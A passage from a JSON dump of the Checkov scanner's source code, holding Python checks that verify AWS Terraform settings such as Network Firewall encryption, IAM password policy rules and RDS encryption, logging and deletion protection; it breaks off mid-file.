    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass NetworkFirewallDeletionProtection(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure that Network firewalls have deletion protection enabled\"\n        id = \"CKV_AWS_344\"\n        supported_resources = ['aws_networkfirewall_firewall']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        return 'delete_protection'\n\n\ncheck = NetworkFirewallDeletionProtection()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NetworkFirewallPolicyDefinesCMK.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass NetworkFirewallPolicyDefinesCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Network Firewall Policy defines an encryption configuration that uses a \" \\\n               \"customer managed Key (CMK)\"\n        id = \"CKV_AWS_346\"\n        supported_resources = (\"aws_networkfirewall_firewall_policy\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"encryption_configuration/[0]/key_id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = NetworkFirewallPolicyDefinesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NetworkFirewallUsesCMK.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom typing import Any\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass NetworkFirewallUsesCMK(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure that Network firewall encryption is via a CMK\"\n        id = \"CKV_AWS_345\"\n        supported_resources = ['aws_networkfirewall_firewall', 'aws_networkfirewall_rule_group']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'encryption_configuration/[0]/key_id'\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = NetworkFirewallUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/PasswordPolicyExpiration.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass PasswordPolicyExpiration(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure IAM password policy expires passwords within 90 days or less\"\n        id = \"CKV_AWS_9\"\n        supported_resources = ['aws_iam_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'max_password_age'\n\n    def get_expected_value(self):\n        return 90\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n        validates iam password policy\n        https://www.terraform.io/docs/providers/aws/r/iam_account_password_policy.html\n        :param conf: aws_iam_account_password_policy configuration\n        :return: <CheckResult>\n        \"\"\"\n        key = 'max_password_age'\n        if key in conf.keys():\n            max_age = conf[key][0]\n            if self._is_variable_dependant(max_age):\n                return CheckResult.UNKNOWN\n            max_age = force_int(max_age)\n            if max_age and 0 < max_age <= 90:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = PasswordPolicyExpiration()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/PasswordPolicyLength.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass PasswordPolicyLength(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure IAM password policy requires minimum length of 14 or greater\"\n        id = \"CKV_AWS_10\"\n        supported_resources = ['aws_iam_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'minimum_password_length'\n\n    def get_expected_value(self):\n        return 14\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            validates iam password policy\n            https://www.terraform.io/docs/providers/aws/r/iam_account_password_policy.html\n        :param conf: aws_iam_account_password_policy configuration\n        :return: <CheckResult>\n        \"\"\"\n        key = 'minimum_password_length'\n        if key in conf.keys():\n            length = conf[key][0]\n            if self._is_variable_dependant(length):\n                return CheckResult.UNKNOWN\n            length = force_int(length)\n            if not (length and length < 14):\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = PasswordPolicyLength()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/PasswordPolicyLowercaseLetter.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PasswordPolicyLowercaseLetter(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure IAM password policy requires at least one lowercase letter\"\n        id = \"CKV_AWS_11\"\n        supported_resources = ['aws_iam_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'require_lowercase_characters'\n\n\ncheck = PasswordPolicyLowercaseLetter()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/PasswordPolicyNumber.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PasswordPolicyNumber(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure IAM password policy requires at least one number\"\n        id = \"CKV_AWS_12\"\n        supported_resources = ['aws_iam_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'require_numbers'\n\n\ncheck = PasswordPolicyNumber()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/PasswordPolicyReuse.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass PasswordPolicyReuse(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure IAM password policy prevents password reuse\"\n        id = \"CKV_AWS_13\"\n        supported_resources = ['aws_iam_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'password_reuse_prevention'\n\n    def get_expected_value(self):\n        return 24\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            validates iam password policy\n            https://www.terraform.io/docs/providers/aws/r/iam_account_password_policy.html\n        :param conf: aws_iam_account_password_policy configuration\n        :return: <CheckResult>\n        \"\"\"\n        key = 'password_reuse_prevention'\n        if key in conf.keys():\n            reuse = conf[key][0]\n            if self._is_variable_dependant(reuse):\n                return CheckResult.UNKNOWN\n            reuse = force_int(reuse)\n            if not (reuse and reuse < 24):\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = PasswordPolicyReuse()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/PasswordPolicySymbol.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PasswordPolicySymbol(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure IAM password policy requires at least one symbol\"\n        id = \"CKV_AWS_14\"\n        supported_resources = ['aws_iam_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'require_symbols'\n\n\ncheck = PasswordPolicySymbol()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/PasswordPolicyUppercaseLetter.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PasswordPolicyUppcaseLetter(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure IAM password policy requires at least one uppercase letter\"\n        id = \"CKV_AWS_15\"\n        supported_resources = ['aws_iam_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'require_uppercase_characters'\n\n\ncheck = PasswordPolicyUppcaseLetter()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/QLDBLedgerDeletionProtection.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass QLDBLedgerDeletionProtection(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure QLDB ledger has deletion protection enabled\"\n        id = \"CKV_AWS_172\"\n        supported_resources = [\"aws_qldb_ledger\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"deletion_protection\"\n\n\ncheck = QLDBLedgerDeletionProtection()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/QLDBLedgerPermissionsMode.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass QLDBLedgerPermissionsMode(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure QLDB ledger permissions mode is set to STANDARD\"\n        id = \"CKV_AWS_170\"\n        supported_resources = [\"aws_qldb_ledger\"]\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"permissions_mode\"\n\n    def get_expected_value(self) -> str:\n        return \"STANDARD\"\n\n\ncheck = QLDBLedgerPermissionsMode()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSCACertIsRecent.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any, List\n\n\nclass RDSCACertIsRecent(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure RDS uses a modern CaCert\"\n        id = \"CKV_AWS_211\"\n        supported_resources = [\"aws_db_instance\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.PASSED\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"ca_cert_identifier\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"rds-ca-rsa2048-g1\", \"rds-ca-rsa4096-g1\", \"rds-ca-ecc384-g1\"]\n\n\ncheck = RDSCACertIsRecent()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSClusterActivityStreamEncryptedWithCMK.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass RDSClusterActivityStreamEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure RDS Cluster activity streams are encrypted using KMS CMKs\"\n        id = \"CKV_AWS_246\"\n        supported_resources = ['aws_rds_cluster_activity_stream']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        \"\"\"\n            Looks for encryption configuration for cluster activity streams:\n            https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_cluster_activity_stream\n        :param conf: aws_rds_cluster_activity_stream\n        :return: <CheckResult>\n        \"\"\"\n        return 'kms_key_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = RDSClusterActivityStreamEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSClusterAuditLogging.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\nSUPPORTED_ENGINES = {\n    \"aurora\",\n    \"aurora-mysql\",\n    \"mysql\"\n}\n\n\nclass RDSClusterAuditLogging(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 AC-2(4), NIST.800-53.r5 AC-4(26), NIST.800-53.r5 AC-6(9), NIST.800-53.r5 AU-10,\n        NIST.800-53.r5 AU-12, NIST.800-53.r5 AU-2, NIST.800-53.r5 AU-3, NIST.800-53.r5 AU-6(3), NIST.800-53.r5 AU-6(4),\n        NIST.800-53.r5 CA-7, NIST.800-53.r5 SC-7(10), NIST.800-53.r5 SC-7(9), NIST.800-53.r5 SI-3(8),\n        NIST.800-53.r5 SI-4(20), NIST.800-53.r5 SI-7(8)\n        Database logging should be enabled\n        \"\"\"\n        name = \"Ensure that RDS Cluster audit logging is enabled for MySQL engine\"\n        id = \"CKV_AWS_325\"\n        supported_resources = (\"aws_rds_cluster\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        engine = conf.get(\"engine\")\n        if engine and isinstance(engine, list) and engine[0] not in SUPPORTED_ENGINES:\n            # only MySQL cluster support easy audit logging export\n            return CheckResult.UNKNOWN\n\n        logs_exports = conf.get(\"enabled_cloudwatch_logs_exports\")\n        if (\n            logs_exports\n            and isinstance(logs_exports, list)\n            and isinstance(logs_exports[0], list)\n            and \"audit\" in logs_exports[0]\n        ):\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"enabled_cloudwatch_logs_exports\"]\n\n\ncheck = RDSClusterAuditLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSClusterAuroraBacktrack.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\nSUPPORTED_ENGINES = {\"aurora\", \"aurora-mysql\"}\n\n\nclass RDSClusterAuroraBacktrack(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 CP-10, NIST.800-53.r5 CP-6, NIST.800-53.r5 CP-6(1), NIST.800-53.r5 CP-6(2), NIST.800-53.r5 CP-9,\n        NIST.800-53.r5 SI-13(5)\tAmazon Aurora clusters should have backtracking enabled\n        \"\"\"\n        name = \"Ensure that RDS Aurora Clusters have backtracking enabled\"\n        id = \"CKV_AWS_326\"\n        supported_resources = (\"aws_rds_cluster\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_attribute_result=CheckResult.FAILED,\n        )\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        engine = conf.get(\"engine\")\n        if engine and isinstance(engine, list) and engine[0] not in SUPPORTED_ENGINES:\n            return CheckResult.UNKNOWN\n\n        return super().scan_resource_conf(conf=conf)\n\n    def get_inspected_key(self) -> str:\n        return \"backtrack_window\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [0]\n\n\ncheck = RDSClusterAuroraBacktrack()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSClusterCopyTags.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass RDSClusterCopyTags(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2, NIST.800-53.r5 CM-2(2)\n        RDS DB clusters should be configured to copy tags to snapshots\n        \"\"\"\n        name = \"Ensure RDS cluster configured to copy tags to snapshots\"\n        id = \"CKV_AWS_313\"\n        supported_resources = (\"aws_rds_cluster\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"copy_tags_to_snapshot\"\n\n\ncheck = RDSClusterCopyTags()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSClusterEncrypted.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass RDSClusterEncrypted(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that RDS global clusters are encrypted\"\n        id = \"CKV_AWS_140\"\n        supported_resources = ['aws_rds_global_cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for storage_encrypted at aws_rds_global_cluster:\n            https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_global_cluster\n        :param conf: aws_rds_global_cluster configuration\n        :return: <CheckResult>\n        \"\"\"\n        if \"source_db_cluster_identifier\" in conf.keys():\n            return CheckResult.UNKNOWN\n        if \"storage_encrypted\" in conf.keys():\n            if conf[\"storage_encrypted\"][0]:\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['aws_rds_global_cluster']\n\n\ncheck = RDSClusterEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSClusterEncryptedWithCMK.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass RDSClusterEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure RDS Clusters are encrypted using KMS CMKs\"\n        id = \"CKV_AWS_327\"\n        supported_resources = ['aws_rds_cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'kms_key_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = RDSClusterEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSClusterIAMAuthentication.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass RDSClusterIAMAuthentication(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure RDS cluster has IAM authentication enabled\"\n        id = \"CKV_AWS_162\"\n        supported_resources = [\"aws_rds_cluster\"]\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"iam_database_authentication_enabled\"\n\n\ncheck = RDSClusterIAMAuthentication()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSClusterLogging.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DBInstanceLogging(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 AC-2(4), NIST.800-53.r5 AC-4(26), NIST.800-53.r5 AC-6(9), NIST.800-53.r5 AU-10,\n        NIST.800-53.r5 AU-12, NIST.800-53.r5 AU-2, NIST.800-53.r5 AU-3, NIST.800-53.r5 AU-6(3), NIST.800-53.r5 AU-6(4),\n        NIST.800-53.r5 CA-7, NIST.800-53.r5 SC-7(10), NIST.800-53.r5 SC-7(9), NIST.800-53.r5 SI-3(8),\n        NIST.800-53.r5 SI-4(20), NIST.800-53.r5 SI-7(8)\n        Database logging should be enabled\n        \"\"\"\n        name = \"Ensure that RDS Cluster log capture is enabled\"\n        id = \"CKV_AWS_324\"\n        supported_resources = (\"aws_rds_cluster\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"enabled_cloudwatch_logs_exports/[0]\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = DBInstanceLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSClusterSnapshotEncrypted.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RDSClusterSnapshotEncrypted(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that RDS database cluster snapshot is encrypted\"\n        id = \"CKV_AWS_146\"\n        supported_resources = ['aws_db_cluster_snapshot']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'storage_encrypted'\n\n\ncheck = RDSClusterSnapshotEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSDeletionProtection.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass RDSDeletionProtection(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure that RDS clusters have deletion protection enabled\"\n        id = \"CKV_AWS_139\"\n        supported_resources = ['aws_rds_cluster']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'deletion_protection'\n\n\ncheck = RDSDeletionProtection()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSEncryption.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass RDSEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure all data stored in the RDS is securely encrypted at rest\"\n        id = \"CKV_AWS_16\"\n        supported_resources = ['aws_db_instance']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"storage_encrypted\"\n\n\ncheck = RDSEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSEnhancedMonitorEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RDSEnhancedMonitorEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that enhanced monitoring is enabled for Amazon RDS instances\"\n        id = \"CKV_AWS_118\"\n        supported_resources = (\"aws_db_instance\", \"aws_rds_cluster_instance\")\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"monitoring_interval\"\n\n    def get_expected_values(self) -> list[Any]:\n        return [1, 5, 10, 15, 30, 60]\n\n\ncheck = RDSEnhancedMonitorEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSHasSecurityGroup.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass RDSHasSecurityGroup(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure no aws_db_security_group resources exist\"\n        id = \"CKV_AWS_198\"\n        supported_resources = ['aws_db_security_group']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        # this resource should not exist - RDS Security Groups are for use only\n        # when working with an RDS instances outside of a VPC.\n        return CheckResult.FAILED\n\n\ncheck = RDSHasSecurityGroup()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSIAMAuthentication.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass RDSIAMAuthentication(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure RDS database has IAM authentication enabled\"\n        id = \"CKV_AWS_161\"\n        supported_resources = [\"aws_db_instance\"]\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"iam_database_authentication_enabled\"\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        # IAM authentication is only supported for MySQL and PostgreSQL\n        if conf.get(\"engine\") not in ([\"mysql\"], [\"postgres\"]):\n            return CheckResult.UNKNOWN\n\n        return super().scan_resource_conf(conf)\n\n\ncheck = RDSIAMAuthentication()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSInstanceAutoBackupEncryptionWithCMK.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass RDSInstanceAutoBackupEncryptionWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure replicated backups are encrypted at rest using KMS CMKs\"\n        id = \"CKV_AWS_245\"\n        supported_resources = ['aws_db_instance_automated_backups_replication']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        \"\"\"\n            Looks for encryption configuration for backup replication:\n            https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance_automated_backups_replication\n        :param conf: aws_db_instance_automated_backups_replication configuration\n        :return: <CheckResult>\n        \"\"\"\n        return 'kms_key_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = RDSInstanceAutoBackupEncryptionWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSInstanceDeletionProtection.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass RDSInstanceDeletionProtection(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure that AWS database instances have deletion protection enabled\"\n        id = \"CKV_AWS_293\"\n        supported_resources = ['aws_db_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'deletion_protection'\n\n\ncheck = RDSInstanceDeletionProtection()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSInstancePerfInsightsEncryptionWithCMK.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass RDSInstancePerfInsightsEncryptionWithCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure RDS Performance Insights are encrypted using KMS CMKs\"\n        id = \"CKV_AWS_354\"\n        supported_resources = ['aws_rds_cluster_instance', 'aws_db_instance']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if 'performance_insights_enabled' in conf and conf['performance_insights_enabled'][0]:\n            if 'performance_insights_kms_key_id' not in conf or not conf['performance_insights_kms_key_id']:\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_inspected_key(self) -> str:\n        return 'performance_insights_kms_key_id'\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = RDSInstancePerfInsightsEncryptionWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSInstancePerformanceInsights.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass RDSInstancePerformanceInsights(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that RDS instances have performance insights enabled\"\n        id = \"CKV_AWS_353\"\n        supported_resources = ('aws_rds_cluster_instance', 'aws_db_instance')\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        # Performance Insights is not available  for MariaDB and MySQL using certain classes: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_PerfInsights.Overview.Engines.html\n        if conf.get(\"engine\") in ([\"mariadb\"], [\"mysql\"], [\"aws_rds_cluster.default.engine\"]):\n            if conf.get(\"instance_class\") in ([\"db.t2.micro\"], [\"db.t2.small\"], [\"db.t3.micro\"], [\"db.t3.small\"],\n                                              [\"db.t4g.micro\"], [\"db.t4g.small\"]):\n                return 